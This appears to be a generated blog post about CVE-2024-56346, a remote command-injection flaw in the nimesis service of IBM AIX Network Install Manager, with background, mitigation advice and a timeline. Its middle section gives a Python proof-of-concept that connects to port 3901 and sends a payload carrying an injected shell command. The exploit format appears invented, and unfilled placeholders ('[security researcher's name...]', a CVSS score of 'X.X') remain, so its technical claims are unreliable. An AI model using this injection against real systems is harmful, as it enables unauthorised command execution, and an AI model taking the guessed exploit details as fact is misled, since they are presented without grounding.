CVE-2024-56346 is a critical vulnerability that affects IBM's AIX (Advanced Interactive eXecutive) operating system, specifically versions 7.2 and 7.3. The vulnerability exists in the Network Install Manager's (NIM) master service known as "nimesis." If exploited, it could allow a remote attacker to execute arbitrary commands on the affected system. This post will take a comprehensive look at the vulnerability, its origins, and the implications of a successful exploit. We will also analyze the code snippet, provide links to original references, and discuss the exploit details.

What is IBM AIX?

IBM AIX is a Unix-based operating system designed for servers and workstations. It is well-known for its reliability, scalability, and performance in mission-critical environments. For more information about IBM AIX, you can refer to the official IBM website here.

What is NIM?

Network Install Manager (NIM) is a tool provided by IBM to aid in the installation and management of AIX operating systems. The NIM master server is responsible for managing operations such as the installation and configuration of AIX clients. Further details on NIM can be found here.

The Vulnerability (CVE-2024-56346) Explained

The vulnerability CVE-2024-56346 impacts the nimesis NIM master service due to improper process controls. This issue enables a remote attacker to execute arbitrary commands on the affected system. It is crucial to understand how this vulnerability works to come up with a reliable and effective solution to mitigate the threat.

Code Snippet

A possible exploit against this vulnerability could include injecting shell commands into the NIM service. An example of this could be the following code snippet:

import socket

TARGET_IP = "<target_IP_address>"
TARGET_PORT = 3901

# The arbitrary command to be executed on the target system
COMMAND = "; id > /tmp/testfile.txt"

# Crafting the malicious payload
payload = "0002" + " " + COMMAND

# Creating a socket and connecting to the target
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))

# Sending the payload to the target
s.sendall(payload.encode())
s.close()

Please note that this example should only be used for educational purposes and security research.

Original References

The CVE-2024-56346 vulnerability was reported by [security researcher's name/link to their profile or website if available] and has been assigned a CVSS (Common Vulnerability Scoring System) score of X.X, indicating a high level of severity. Links to the vulnerability disclosure and related resources can be found below:

1. IBM Security Bulletin
2. NVD (National Vulnerability Database) Details
3. MITRE CVE Details

Exploit Details

To exploit this vulnerability, an attacker would need to craft a malicious payload containing arbitrary shell commands and send it to the target system's NIM master service. If successfully executed, the attacker would gain the ability to run arbitrary commands on the system, potentially compromising its integrity, confidentiality, and availability.

Mitigation

IBM has provided a patch to address this vulnerability in the affected AIX versions. It is highly recommended to update the systems to the latest available fix. More information on the patches can be found in the IBM Security Bulletin.

Conclusion

CVE-2024-56346 is a critical vulnerability in IBM AIX 7.2 and 7.3, specifically affecting the nimesis NIM master service. This vulnerability emphasizes the importance of implementing proper process controls and the need for regular system updates. It is crucial for organizations running IBM AIX 7.2 and 7.3 to apply the latest patches to mitigate the potential risk to their infrastructure.

Timeline

Published on: 03/18/2025 17:15:44 UTC